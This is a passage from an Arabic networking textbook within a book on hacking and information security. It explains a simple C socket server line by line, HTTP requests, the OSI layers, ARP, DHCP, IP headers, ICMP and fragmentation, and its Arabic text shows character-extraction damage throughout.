  if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) 

       fatal("in socket"); 

 

  if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,  

      sizeof(int)) == -1) 

       fatal("setting socket option SO_REUSEADDR"); 

 

 

  host_addr.sin_family = AF_INET; // Host byte order 

  host_addr.sin_port = htons(PORT); // Short, network byte order 

  host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP. 

  memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct. 

   

  if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct        

      sockaddr)) == -1) 

       fatal("binding to socket"); 

   

  if (listen(sockfd, 5) == -1) 

       fatal("listening on socket"); 

 

 

  while(1) { // Accept loop. 

    sin_size = sizeof(struct sockaddr_in); 

    new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, 

                        &sin_size); 

         

    if(new_sockfd == -1) 

        fatal("accepting connection"); 
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    printf("server: got connection from %s port %d\n", 

           inet_ntoa(client_addr.sin_addr),   

           ntohs(client_addr.sin_port)); 

 

    send(new_sockfd, "Hello, server\n", 13, 0); 

    recv_length = recv(new_sockfd, &buffer, 1024, 0); 

    while(recv_length > 0) { 

      printf("RECV: %d bytes\n", recv_length); 

      dump(buffer, recv_length); 

      recv_length = recv(new_sockfd, &buffer, 1024, 0); 

   } 

   close(new_sockfd); 

 } 

 return 0; 

} 

 

 لنبدأ بتوضيح ما يحدُث!:

ن الثلاث  "include "error.h# قُمنا بإضاقة الملف الُمشار لليهم  functionsكي نتمكن من استدعاء أيٍّ م 

 .6900وذو "، port whom our server is listening on"ل لنحُدد ا define#أيضاً استخدمنا ال  سابقاً.

 

 ؟ ;int sockfd, new_sockfd  :ةماذا نقصد بِذه العبار 

 .؟file descriptorذل تذكُر ال 

ر أن أي ملف يتم قتحه أو أي   entryذذا ال  ،kernelداطل ال  Entryيتم لنشاؤه سيؤدي للى حدوث  Socketتَذَك 

ذا ال  referenceيُستخدم ك  (Entry)ذذا الرقم أو ال  ،fd يسمى ال integerيُعَبر  عنه برقم  أو الملَف الذي  Socketله 

 تَم  قَتحه.

 الثاني؟ fdذذا جيد!، ..ولكن ما قائدة ال 
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بينما ، "Listening for incoming connection"الأول أثناء عَمَلية ال  fdسوف نَحتاجه لأننا قَد  استَخدَمنا ال 

ه ال  kernelأطرى داطل ال  entryجَديد، بَمَعنى أننا سَنحتاج  fdتاج ل  سنح َذ  الجديدة وذي ال  processطاصة بِ 

connection .!الذي سَيَحدُث 

نَ ال  objectsثُم  قُمنا ب تَعريف ال   كما ترى: العام Structالتي نُريد، حيثُ قُمنا باشتقاق ها م 

struct sockaddr_in host_addr, client_addr; 

ل مُحتَوَيات ال نا ب عَمَل  ..general structure تَذَكّر أن  ك لاذُم سَيَحم  ل بَعض الُمتغَيرات، سَيجَري  declareثُم  قُم 

يحهم قيما بعد.  تَوض 

 

ناّ ثلاثة . ( )socketوذي ال  ( )functionنأتي لأول   :Arguments.ستحتاج م 

 
 Protocol family: IPv4  

 Socket type: Stream (TCP) 

 Number of protocols inside this family: 0 there is only one protocol! IPv4 

 

ه ال  ع لَنا ق يمة  functionذَذ  يَ ال  intتُرج  َذا ال  fdذ  بالطبع  ".sockfd"سَنقوم ب تَخزين ها ذُنا  socketالخاص بِ 

ح في الكود.في حال قَشَل العملية ك ( )fatalلل  callسيحدث  وذي  التالية functionثُم  نَمضي لل  ما ذو مُوَض 

setsockopt( )  ا ال لاله  ن ط  د م  َذا ال  optionsلنحَُدِّ قَة بِ   على المسار ةوغيرذا موجود optionsذذه ال . socketالُمتعلِّ

/user/include/asm/socket.h 

 

 :function على ذذه ال ةدعنا نلق  نظر

setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) 
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ة د  هم:.. Arguments لنها تَستَقب ل ع  يح   سَنقوم ب تَوض 

  الأول ذو الSocket  نفسه، وذذا منطقي!، سَنعُطيها الfd  َذا ال  .socketالخاص بِ 

  الargument عَت ل تَحديد نوع  ال  option (to set the level of the option) الثانية وُض 

 الArgument  ةالثالث: "specifies the option itself " وذي الREUSEADDR  :حيث نعني بِا مايلي 

“Let the socket bind to a port, even if that port is in use!”  

ند مُحاوَلة قَتح  دهُ مُتاح!، لأنهُ رُبما يكون  portلأنه أحياناً ع  بَل أي مُعَين  لا نَج 
ن ق   أُطرى، serviceمُستَخدَم م 

 .portقَسَنَقوم ذُنا بإجباره على استخدام ذذا ال 

 قَهُم  ةوالخامس ةأما الرابعpointer  للdata بال ةالخاص option ، والlength ا وذو  .bytes 4 الخاص بِ 

ن نوع  م  SO_REUSEADDRلأن ال  integerوذُم م   .”bit integer for its value-32“تَستخَد 

 

 لنتحدث عنهم قليلا. struct sockaddr_in ناذا من الققالتي اشت objectsوالآن سنمضي للجزء الخاص بال 

 كما يظهر في الكود بالصفحة التالية: (host_addr structure)سنقوم بعمل لعدادات ال 

  في السطر الأول حددنا الaddress family: IPv4.. 

  وفي السطر الثاني الport  لاحظ استخدام ال  ،6900وذوfunction  ن ال لهُ م  للى ال  hostالتي سَتُحَوِّ

"network byte order،"  ن نوع  .bits 16أي ، shortم 

  ثُم  في السطر الثالث قُلنا لَهُ ب أن يأطُذ الIP Address .هاز َذا الج   الحالي الخاص بِ 
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 ي ال ثُم  أطيراً في السطر الرابع سَنقوم بإكمال باقAddress Structure 8 وذم bytes،  سَيَتم مَلأذم بال

padding .ًكما أوضحنا سابقا 

  host_addr.sin_family = AF_INET; // Host byte order 

  host_addr.sin_port = htons(PORT); // Short, network byte order 

  host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP. 

  memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct. 

 

  ”( )bind“ثُم  نأتي للى ال 

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct    

    sockaddr)) == -1)  

      fatal("binding to socket"); 

 وتقوم بالآتي:

It is used on the server side, and associates a socket with a socket address structure, a specified 

local port number (in our case 6900), and IP address. 

 

 كمايلي: Argumentsمجموعة من ال  functionتأطُذ ذذه ال 

 ال  أولهاfile descriptor  الخاص بالsocket. 

  ثُم  الArgument  يَ ال نا ب عَمَل ، address structureالثانية وَذ  ظ أننا قُم 
 لهُ للى ال typecastingلاح 

"general address structure" .. ر الم ثال الذي ضََبناهُ ب مُقارَنة ال ندَما  IPv4 address structureتَذَك  ع 

 ."Generic structure" أسقطناهُ على ال

  ثُم  الArgument يَ  ةثالثال  ” the length of the address structure“وذ 
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طَلفَ بعضهم بشكل  أي، backlog queueفي  incoming connections ل تَقوم ب وَضع ال  ( )listenوتأتي بعدذا

 5التي تَستَقب لها ب  ”connections“مُتتاب ع، وقد تم تحديد الحد الأقصى لل

 

  if (listen(sockfd, 5) == -1) 

      fatal("listening on socket"); 

ه ال  ( )acceptثُم  تَقوم ال  .connections ب قُبول ذَذ 

 

 كما بالكود بالأسفل: connectionsوذي التي سَتَستَقب ل ال  functionوالآن جاء دور آطر 

 .True ذُنا يَعني 1لعدد قا..  while(1):نُلاحظ ذذا الشرط

 

ر، ذل تَ جَديد fdاستَخدَمنا و  .سَبَب؟ال تذََك 

  Serverبالالخاص  IP addressللا أننا سنستبدل ال  ( )bindعملها، قهي تشبه ال   ( )acceptستبدأ ال

 .clientالخاص بال  IP Addressبال 

So.. the return from accept( ) function is new file descriptor “new_sockfd” for the accepted 

connection. As follows: 

 
while(1) {  

    sin_size = sizeof(struct sockaddr_in); 

    new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr,      

                   &sin_size); 

         

    if(new_sockfd == -1) 

        fatal("accepting connection"); 

 

م دالة سَ  يغة ال clientالخاص بال  IP Address ل تَطبعَ لَنا ال ( )printfنَستَخد   "، ASCII dotted notation" ب ص 
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 . كما يلي:clientالخاص بال  port numberمَتبوعاً بال 

 

    printf("server: got connection from %s port %d\n", 

           inet_ntoa(client_addr.sin_addr),   

           ntohs(client_addr.sin_port)); 

 

 

    

 وذي تنتمي لهذه العائلة: ،( )sendثم تأتي 

 
send() and recv(), or write() and read(), or sendto() and recvfrom(), 

They are used for sending and receiving data to/from a remote socket. 

 

نconnectionقور نجاح ال  clientللى ال  stringبإرسال  Serverسيقوم ال   كما يظهر بالأسفل، bytes 13من  ة، مُكَو 

 قمنا بوضع قيمتهُ بصفر. ،flags ذو ال functionلهذه ال  argumentآطر 

send(new_sockfd, "Hello, server\n", 13, 0); 

 

 

 

  ( )receiveثم يأتي دور ال 

 .bufferمنها ال ، Argumentsأكثر من حيث تستقبل ، client من ال stringsل تستقبل ال 

 

كُر ذذا ال   ؟bufferذل تذ 

قناهُ في بداية البرنامج، وحددنا حجمهُ   تي:يُعَبرِّ عن الآ Bufferذذا ال  ،1024لقد عَر 

 “The maximum length to read from the socket” 

 .(0) به وكالعادة وَضَعنا flagsطاص بال تستقبله  Argumentوآطر 
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ه ال تق  .integer ونوعه ،recv_length وذو، لَنا بَعدَ انتهائها returnبإرجاع  functionوم ذَذ 

 recv_length = recv(new_sockfd, &buffer, 1024, 0); 

  

 

 

 :Loopثُم  يأتي دور ال 

 

ل ذَذا ال   .ةالمُستَلَمَ  bytesوذو عَدَد ال  recv_lengthسَنَقوم ب ط باعَة ما ب داط 

while(recv_length > 0) { 

      printf("RECV: %d bytes\n", recv_length); 

 

تام يأتي دَور ال   ..التي شرحناذا مُسبقاً   ( )dumpوفي الخ 

 :Argumentsقتستقبل ذذه ال 

dump(buffer, recv_length) 

ض ال  يغَة ال  dataكي يتسنى لها عَر   ليَمين.على ا printable dataعلى اليَسار، وال  Hexب ص 

 

 while(recv_length > 0) { 

      printf("RECV: %d bytes\n", recv_length); 

      dump(buffer, recv_length); 

      recv_length = recv(new_sockfd, &buffer, 1024, 0); 

   } 

   close(new_sockfd); 

 } 

 return 0; 

} 

 

 .يأتي دور التجربةسلقد وصلنا للى نهاية شرح ذذا الكود، والآن 
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ب ذذا الكود نجَُرِّ
 ..ل 

 

root@server:~/booksrc $ gcc server.c 

root@server:~/booksrc $ ./a.out 

 

ذا ال س ن جهاز آطر بِ  بَة الإتصال م  كما نُشاذد.. نَجَحَ  .clientللاتصال من ال  telnetنستخدم ال  ،serverنقوم ب تَجر 

قأرسلنا له عبارة ، client ثُم  جاءَ دورنا نحن، ال ،”Hello, server“ذي .. stringال الاتصال!، وقامَ السيرقر بإرس

“this is test”، نَرَى ما سَيَنتُج في ال
 .( )dump ثُم  كتبنا أحرُف عَشوائية ل 

 
root@client:~ $ telnet 192.168.18.128 6900 

Trying 192.168.18.128... 

Connected to 192.168.18.128. 

 

Escape character is '^]'. 

Hello, server 

this is a test 

fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf 

 

 

 

 

 

 

 

 

د مَعاً ما يَحدُث في طَرَف ال   :Serverذيا نُشاذ 
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root@server:~/booksrc $ ./a.out 

server: got connection from 192.168.18.131 port 56971 

RECV: 16 bytes 

74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | This is a test... 

RECV: 45 bytes 

66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau;ehg;ihsk 

6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh 

66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a          | fdkjhvbkjgf... 

 

ايَة ذَذا الم ثالللى ذُنا نَكون قَد  وَ   .صَلنا للى نه 

 .”OSI Layers“بال  ةلمتعلقالمفاذيم ابعض  سننتقل للحديث عن

 

 

The Browser 

 

ح الإنترنت باستخدام أي متصفح  قَهَذا يعني  ..Internet Explorer” “باستثناء ال  (browser)عندما نقوم بتصَفُّ

  ،HTTP حيثُ نتعامل مع بروتوكول كال ،Application Layerوذي ال  OSI Layers أننا نقع في أعلى ال

قهو يقوم بعمل المختلفة،  web serversو ال  browserوذو من البروتوكولات المستخدمة في عملية التواصل بين ال 

request  للصفحة التي تريدذا أنت من الweb server ، الذي ب دوره  ينتظر الconnections  ال منbrowsers  وذي

 . port 80على ال  (Clients)ال 

ح قيكون ال  ..Portsال  سنتوقف قليلًا عند ندما نتصل نحنُ باستخدام الُمتصفِّ ل  ”Local Port“الخاص ب نا  portع  يَحم 

ن ا على ال  Connectionال  Serverوينتظر ال ، 1023رقم عشوائي أعلى من   .(80)الخاص به ذو.. ورقمه  Portم 

 بالنسبة لنا. ”Remote Port“نُسميه 
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 .1024ذو  ”Remote Port“ويكون ال  (80)ذو  ”Local Port“.. سيكون ال Serverولذا كن ا نحنُ ال 

ى  requestالمهم..ذذا ال  الخاص  protocol versionمَتبوع ب الَمسار الخاص ب الصفحة، ثُم  بال  Getيَحدُث ب أمر يُسم 

بَارة عن  ،Headersالتي تُريد، يَسب قها بَعض ال   contentلك بال  respondب عَمَل  serverقوم ال . ثُم  يَ HTTPبال  ع 

 . ..Serverبال  ةبعض الَمعلومات الخاص

 

 معي ذَذا الم ثال: تأمل

ن  Headقُمنا باستخدام الأمر  ل لَنا ال  Serverلأننا نُريد ققط من ال  Getبَدَلاً م  .. لا نُريد الخ Headersأن يُرس  اصة ب ه 

 الآن!. ةتحميل الصفح

 

reader@hacking:~/booksrc $ telnet www.internic.net 80 

Trying 208.77.188.101... 

Connected to www.internic.net. 

Escape character is '^]'. 

HEAD / HTTP/1.0 

HTTP/1.1 200 OK 

Date: Fri, 14 Sep 2007 05:34:14 GMT 

Server: Apache/2.0.52 (CentOS) 

Accept-Ranges: bytes 

Content-Length: 6743 

Connection: close 

Content-Type: text/html; charset=UTF-8 

 

Connection closed by foreign host. 

reader@hacking:~/booksrc $ 

 

 .”hosted on web server called Apache“رى قهو يُخبرنا أن ذذا الموقع نكما 
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 .Linuxوذي توزيعة من توزيعات  ،CentOSونوع نظام التشغيل ذو 

 مخدَ ستَ يُ بل  ،مُهمة sessionأو أي ، E-paymentأو ال  Loginsمثل ال  sessionsلا يُستخدَم في ال  (HTTP)ذذا ال 

ا الفرق ذُنا أننا في ذذ ،”HTTP Secure“أو ، ”HTTP over SSL or over TLS“ويعني  لذلك!،( HTTPS)ال 

على  Mail Serverأو ال  Web Serverو ال  browserبين ال  ةسنقوم بتشفير البيانات المار sessionsالنوع من ال 

بمزيد من  SSLلبروتوكول ال  الباب الرابعسنتعرض في  .TLS أو ال SSLسبيل المثال، باستخدام بروتوكول ال 

 التفصيل.

 

مرةً أطرى  HTTPثم تعود لتتعامل بال ، Login وذي ال Sessionفي أول  HTTPSتقوم بعض المواقع بتفعيل ال 

ج تحت ال ، Login ليست ذات أهمية بقدر ال ي تليهاالت Sessionsباعتبار أن ال  قانتشر نوع من الهجمات الُمندَر 

Session Hijacking  ن ال ز على ال  Secured Loginب أن يَنتظَ رُك أحَدذم لتنتهي م  التي تليها  Sessionsثُم  يأتي ل يَقف 

ل الدطول في مُنتدى قسينتظر عملية  HTTPحَيثُ يَتَعامَل حينها بروتوكول ال  ن!، قمثلًا لذا كنت تُسجِّ
الغير آم 

 الخاص بك. Accountويُمك نُهُ حينها التَعامُل بال  "Session Riding"تسجيل الدطول، ثُم  يَقوم ب عَمَل ال 

ا  HTTPS بتفعيلعلى سبيل الم ثال  Google تقوم  .طروجكتسجيل بدءاً بتسجيلك للدطول وحتى على جميع طدماته 

ن  عديديوجد ال ن الهجََمات الواق عَ  المصادرم  ماية م  ثل ال  ةالتي تتناوَل الأمور الُمتعلِّقة بالُمتَصفِّحات وأساليب الح  عليها م 

XSS  ..وغيرذا 

 

، يمكنك في آطر الكتاب ةالموجود Appendixال صيل في بشيء من التف XSSال قمنا بالتعرض لأنواع ذجمات 

 مراجعتها.
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The Big Picture 

 

ن لصاحبه من دطول الإنترنت!، قالانترنت أصبح شيء أساسي وبديهي في  deviceلا يخلو أي منزل الآن من أي  يُمَكِّ

م  ناّ غير مُُ تَن للسيِّد الُمحتَرَ
دثَ قَد ق !؟،”Google“حياتنا، قَمَن م   !.لَنا طَفرَة في حياتنا أَح 

 OSI Layers.مُراجعة سَِيعة لم ا يَجري داطل ال  بإجراء ، قسنقومالحاسب شّبَكات الحديث عنوبما أننا سَنهَتَم ب

ح الانترنت باستخدام ال ، App Layerوذي ال  Layer 7أنت الآن تتعامل مع ال  ،browser ل نفرض أنك تقوم بتصفُّ

معاً، أو رُبما تتجول داطل ال  POP3مع ال  SMTPوني، قتستخدم حينها بروتوكول ال ربما تتفقد بريدك الإلكتر

Google+  بحسابك الشخصي، قتكون حينها تستمتع بالتصفح الآمن باستخدام بروتوكول الHTTPS،  أو ربما تقوم

 ، ...الخ.FTPلبعض الملفات لأحد المواقع قتكون حينها تستخدم بروتوكول ال  Uploadبعمل 

 

عن  ةقهي المسؤول Session Layer، يتم ذلك في ال end pointsمع ال  Socketsذذه الأمور كي تحدث لابد من قتح 

ل أو نَستَقب ل عَبَرذا ال  interfaceتوقير ال  ه ال  .dataالتي سَنرُس  د على تحتاج أَن تسَ  Socketأو ال  interfaceذَذ  عتَم 

 كذلك؟، أليس ذذه dataبروتوكول ل تَوصيل ال 

 ، لنها الطَبَقَة التي تَلي Transport Layerوك لاذُم يَقَع في ال  ،UDP أو TCPذذا البروتوكول سيكون لما 

  .. Session Layerال 

ل ذذا ال  م  داً بذلك على Destinationللى ال  Dataعَمَلهُ، قسيحتاج ليصال ال  TCPولكن لكي يُك   ، مُعتم 

 .Network Layer، وذي ال Layer 3ال 
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ض أن  ذذه ال  بار ”Destination End Point“والآن ل نفَر   شبكة محلية،يقع في  جهاز عن ةع 

LAN (Local Area Network)،  بالطبع سيكون بِاrouter  يَعمَل كGateway و ،Switch  بالشبكة، ةالأجهزيربط 

 .network cableن طريق ال ع Switchبال  متصل، وذو !لجهازا لهذا packetليصال ذذه ال  ودنُ جيد.. 

 حسناً.. 

ل  مة ال  switchوتذذب للى ال  routerللى ال   packetالعندما تَص  مة ال  ،Layer 3ستنتهي حينها مُه  وتبدأ مُه 

Layer 2  وذي الData-Link Layer ، ستقوم ذذه الطبقة بإيصال ال“frame” باستخدام ال هاز للى ذذا الجLink 

Layer Protocols  ،ال  ينقلوcable  ذذا الframe على ذيئة bits and bytes   ُل ال مثِّ يُ  لأنه(Physical Layer) 

Layer 1 ، ى بال كما أطبرتُك سابقاً، وذو اعتمادية كل طبقة على الأطرى لتكتمل  ”Service Block“ذذا ما يُسم 

 بين الأنظمة. Communicationsعملية ال 

 

لا  ةلذا كانت لديك معرق لأهميتهم في المرحلة القادمة. (Layer 2, 3, and 4)كل من  سنقوم بتسليط الضوء قليلًا على

 .تجاوز الثلاث ققرات القادمةقيُمك نك  OSI Modelبأس بِا بال 

 

 

Layer 2 (Data-Link) 

 

ذا بشيء من والآن سنأطُذ، OSI Modelكُن ا نُوضح ال  بينمافي بداية ذذا الفصل  Layerكُنا قد تكلمنا عن ذذه ال 

 يتواجد في ذذه الطبقة، قما ذي وظيفته؟ Ethernetالتفصيل. كما أشرنا سابقاً بأن برتوكول ال 
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  deviceذذا ال  وذو كارت الشبكة،  NICلأي جهاز يريد أن يدطل للى الشبكة قلابد أن يمتلك 

 أو ال Physical Addressحينها سيمتلك عنوان طاص به، لا يتشابه مع أي عنوان آطر، يطلق عليه 

MAC (Media Access Control) ، يتكون ذذا الaddress  6من bytes  يظهر بصيغة الHex. 

 :كما يلي

 xx:xx:xx:xx:xx:xx 

  . Broadcast Domainداطل نفس ال من جهاز للى آطر framesال  توصيلب Data-Link Layerال  تقوم

 

 ؟ةللى جهاز يقع طارج الشبك packetال لرس ةالشبك داطلة الأجهز ولكن ماذا لن أراد أحد 

الخاص به  IPعلى ال  ةبكيفية حصول جهازٍ ما في الشبك ةأتحدث معك عن بعض الأساسيات المتعلق ةدعني في البداي

حيثُ  ةسنقوم بتوصيل جهاز بالشبك .ةفي ذذه العملي ARPووظيفة بروتوكول ال  DHCP Serverعن طريق ال 

  ..DHCP Server يوجد بِا

 

 ..MACذو ققط يمتلك  ،بعد! IP هذا الجهاز لا يمتلكق الخاص به. IPلنشاذد كيف سيتلقى ذذا الجهاز ال 

 سيناريو مشابه لما في الشكل التالي:سيحدث ق

 

Optaining an address 
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 Broadcastبإرسال   الجهاز يقوم

 حيث يكون ال ةداطل الشبك

Source port: 68  
Destination port: 67 

 

 ذا ذذا الولما Port 67 ؟ 

يستقبل  DHCP Server لأن ال

قيقوم ال  يه!.عل connectionsال 

DHCP  بإرسال الIP  المقترح

 لهذا الجهاز.

 

  وماذا بعد استلام الIP  من

 ؟Serverال 

الجديد  IPبعد أن يستلم الجهاز ال 

قلن يستخدمه على  DHCPمن ال 

الفور!، سيقوم بالتأكد أولاً من أنه 

هاز آطر على طى لأي جغير مُع

ل ذذا الجهاز الشبكة،  حينها سيُرس 

Packet (Gratuitous ARP)  للأجهزة في 
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سيقوم بإرسال ق !بالفعل IPقإن كان أحد الأجهزة يمتلك ذذا ال  ،IPالشبكة بأنه يريد استخدام ذذا ال 

"already in use" ARP packet ، حينها سيقوم ذذا الجهاز بمحادثة الDHCP Server  مرةً أطرى ليطلب منه

IP .مُتلف، وذكذا حتى يثبُت الأمر 

 

 ARP Packetيظهر في الشكل ال 

ل يتأكد من يُرسلها الجهاز للى الشبكة 

 الجديد. IPسلامة ال 

 

ARP Messages 

 

  من الوالآن.. سنتكلم عن نوعين

ARP messages م:وذ 

“ARP request and reply” 

 ARP request or replyذذا ال 

 يسير في الشبكة مثله مثل بقية ال

frames. 

 .الأطرى؟ framesقكيف لنا أن نُصن فهُ عن بقية ال 

 ARP-type ما لذا كان Ethernetطانة تعبر عن نوع ذذا ال  Ethernetأو ال  frameلهذا ال  Headerيقع في ال نعم.. 

 .لثلاحقاً في الباب الثابمزيد من التفصيل  لليهسنأتي  .IP-packetأو 
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 IP 192.168.100.102المقابل لل  MACال  لا يمتلك PC1 يبدو أن ،ARP request and replyال يوضح  الشكل

 ليستعلم switchللى ال  ARP Requestلديه!، وبالتالي لن يستطيع الإتصال به، قيقوم بإرسال  ARP Cacheفي ال 

باستثناء ال  portsمن جميع ال  له floodوم بعمل ويق ARP requestذذا ال  Switchيستقبل ال  ،MACعن ذذا ال 

port  الذي أتى منه ذذا الrequest،  ذنا سيُهمل جميع الأجهزة ذذه الرسالة باستثناء الجهاز الذي يحمل ذذا الIP 

 MACبدوره بربط ذذا ال  الذي يقوم switchللى ال  ARP reply msgيقوم بالرد مُرسلاً ق، 192.168.100.102

ذذا الجهاز  ،MACبإرسالها للى الجهاز الذي طلب ذذا ال يقوم  ثم ،replyالذي جاء منه ذذا ال  portبال الجديد 

(PC1)  لديهARP Cache وال  ةالتي معه في الشبك ةيضع بِا عناوين الأجهزMAC Addresses لها. قيقوم  ةالمناظر

 لديه. tableلهذا ال  Updateبعمل 
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Sending Packet outside domain 

 

 .؟؟ Subnetلوجهة ما طارج ال  packetلرسال  ةماذا لن أراد أحد الأجهز !..ةنأتي للى السؤال الذي طرحناه في البداي

 

 
 

 الخاص به،  MACليستعلم عن ال  ARP Requestقإنه لن يرسل  PC3للى  packetبإرسال  PC1عندما يرغب 

 للMAP لعمل  ARPاً عن ذلك باستخدام ال .. يقوم عوضunreachableيعد  PCلأنه يعلم أن ذذا ال 

(Gateway IP: 192.168.1.254)  ال للىMAC  0-00-00المقابل لهC-00-01 ، ويتعامل على أنه ذو الDistination 

MAC  مع الإبقاء على ال(Dist. IP: 192.168.2.1)  وذو عنوانPC3.  وعندما يصل الframe  للى الrouter  يقوم

 routerلدى ال  forwarding tableمنها والبحث في ال  MACحيث يتم لزالة ال  Network Layerبتسليمه للى ال 

أيضاً  ARPبروتوكول ال  routerويستخدم ال  ،PC3الخاص بالجهاز  IPالتي ينتمي لليها ذذا ال  interfaceعن ال 
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الذي يقوم بدوره بالبحث في ال  switchللى ال  packetيرسل ال المقابل له ثم  MACللى ال  IPلهذا ال  MAPلعمل 

CAM table  لديه عن الPort  المقابل للMAC  الخاص بالPC3  ثم يرسل الframe  من ذذا الport. 

 

 

Layer 3 (Network) 

 

 قليلًا، بابالذذا  بدايةعنها في  تحدثنابشكل عام،  Addressing and Deliveryذذه الطبقة التي تُقدم لنا طدمات ال 

كر بعض الخصائص الُمتعلكننا بحا اجتنا لها في الجة ل ذ  ا لح   .القادم بابلقة بِ 

 

  :ة؟، لنه يختصر ذذه الع بار TCP/IP ماذا يعني مصطلح

“The use of Transmission Control Protocols (at Layer 4) over Internet Protocols (at Layer 3)” 

عن التفاصيل الخاصة بِذه ال  ةوذو عبار Packetال للى قة الذي تقوم بإضاقته كل طب Headerتكلمنا عن ال 

Packet. 

 ..IP Headerال  ذذا سنتكلم قليلًا عن

 

IP Header 

 

 Options بدون ال bytes 20وتبلغ مساحته ، IPv4 Header ذذا الشكل يوضح ال
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 ما، سنوضح لك بعضاً منهايُشير ل Fieldكما ترى.. كُل 

ٍ
 :لى شيء

 
Version: These 4 bits specify the IP protocol version of the datagram, here it is IPv4. 

 

Total Length: This is the total length of the IP datagram (header plus data), 

measured in bytes. 

 

Identifier, flags, fragmentation offset: These three fields have to do with so-called 

IP fragmentation "سنتكلم عن ذذه الخاصية بعد قليل"  

 

Time-to-live: to ensure that datagrams do not circulate forever, this field is decremented by one 

each time the datagram is processed 

by a router. If the TTL field reaches 0, the datagram must be dropped. 

 

Protocol: indicates the specific transport-layer protocol, For example, a 

value of 6 indicates that the data portion is passed to TCP, while a value of 17 

indicates that the data is passed to UDP. 
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للى ال  Packetلضبط وصول ال في عملية التوصيل حيث لا يضمن لك با Less Reliableيُعتَبر  IP، ال ةوبالُمناسب

destinationولذلك ظهرت قائدة ال . ICMP،  نستخدم الICMP Packets  للإبلاغ عن أي طلل يحدث أثناء عملية

قمثلًا لو كانت ، Packet سيتم تحديد نوع ال Protocolالخاص بال  Fieldالإرسال أو الاستقبال، لاحظ أنه في ال 

ICMP msg  سيحوي ذذا الfield حيث يعبر عن بروتوكول ال  1قم رICMP. 

نستخدم نوعين شهيرين  وينهم،  قيما ب Test Connectivityلعمل   Hostsبشكل أساسي بين ال ICMPيُستخدم ال 

  Echo Reply و Echo Requestذم ال  ICMP Packetsمن ال 

 messagesعرض لك بعض ال سأ ”Ping“باستخدام برنامج صغير يُسمى  replyو  requestذذا ال  بتنفيذنقوم 

 :توكولالشائعة الظهور لهذا البرو

Type Code Description 

0 – Echo Reply 0 Echo reply (used to ping) 

3 – Destination 

Unreachable
 
 

0 Destination network unreachable 

1 Destination host unreachable 

2 Destination protocol unreachable 

3 Destination port unreachable 

4 Fragmentation required, and DF flag set 

5 Source route failed 
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 :msg type 3  ICMPوذذا مثال بسيط يوضح ال

 

 

IP Fragmentation 

 

 المسموح لها بالإنتقال بين Packetحيثُ تعني أكبر حجم لل " Maximum Transmission Unit"ذي ال  MTUال 

 .Hostsال 

The maximum transmission unit (MTU) is the size of the largest network layer protocol data 

unit that can be communicated in a single network transaction. 
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نها تفادي حُدوث أي  ويتم تحديد أقصى حجم مسموح به ده، م  ذات  packetال ق، نتقالأثناء الإ Errorsلاعتبارات ع 

 يُصبح بطيئاً نسبياً.بالإجهاد و Linkتُصيب ال ربما و ،للى وجهتهاتستغرق وقتاً أطول للوصول الحجم الكبير 

 
 .كبيرة الحجم؟ Packetولكن ماذا لن أردنا لرسال 

نُرسلهم بمعنى أننا سنقوم بتقطيعها للى قطع صغيرة ثم .. Packetلهذه ال  Fragmentفي ذذه الحالة سنقوم بعمل 

 .سيتم لعادة تجميعهم مرةً أطرى Destinationتباعاً، وعندما يصلوا للى ال 

 يوضح ذذه العملية:التالي الشكل 
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 نَود أن نذكرك بِذه الملاحظة: Transport Layerقبل أن ننتقل بك للى ال 

Remember that the Internet’s network-layer service (IP service) is unreliable. IP does not 

guarantee datagram delivery, does not guarantee in-order delivery of datagrams, and does 

not guarantee the integrity of the data in the datagrams. 

 .Network Layerال  ئص التي لا تُوقِّرذا لَنالتُوقِّر لنا ذذه الخصا  Transport Layer وذذا ما يفسُ احتياجنا للى ال 

 

 

Layer 4 (Transport) 

 

أحد  تصفح، وتجهازكاقترض معي أنك تجلس أمام ، الجديده التي تَخُص ذذه الطبقة سنتكلم عن بعض المَفاذيم

وأيضاً تقوم بمحاولة اتصال  ،FTP، وتقوم في نفس الوقت بتحميل ملف على الانترنت باستخدام برنامج ال المواقع

 أيضاً. Telnetتقوم بفتح اتصال آطر بموقع مُتلف عبر ال  كماTelnet تخدام ال بِذا الموقع باس

 بِذا الشكل يكون لديك الآتي:

Four application network processes running: 

An HTTP Process, FTP Process, and Two Telnet Processes. 

نهم  Processنترنت وتوصيلها لكل القادمة من الا Dataربما تتسائل!، كيف تتم عملية تصنيف ال  على الرغم من م 

 :حيث توقر لنا طدمة نُطلق عليها Transport Layer لنها وظيفة ال !؟ ”Telnet“تواجد لثنين منهم لنفس البرنامج 

“Multiplexing & Demultiplexing” 

 

Multiplexing & Demultiplexing 

 

من  Dataبك )داطل جهازك( ذذه ال  ةالخاص Transport Layer لعندما تستقبل ا، ذيا ل نعُيد ترتيب الأحداث

 .التي تنتظرذا Processللى ال  Dataقستقوم بتوصيل ذذه ال  ،Network Layerالطبقة التي أسفل منها



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Networking 
 [164] 

 Dataثم توجيه ال  Dataلهذه ال  ةالمناسب Socketليتم تحديد ال  Segment Header يتم ذلك عن طريق قحص ال

 .ةالمناسب Application Processللى ال  Dataقيقوم ذو بدوره بنقل ال  ،Socketلهذا ال 

 
At the receiving End 

 ”DeMultipiexing“المناسب لها بال:  Socketللى ال  ”Transport Layer Segment“نُطل ق على عملية توصيل ال 

 

At the sending Source 

ن ال القاد مَة  dataنُطل ق على عملية جَم ع ال  ولجراء ال  Application Layerمن ال  ةالُمختَل ف Socketsم 

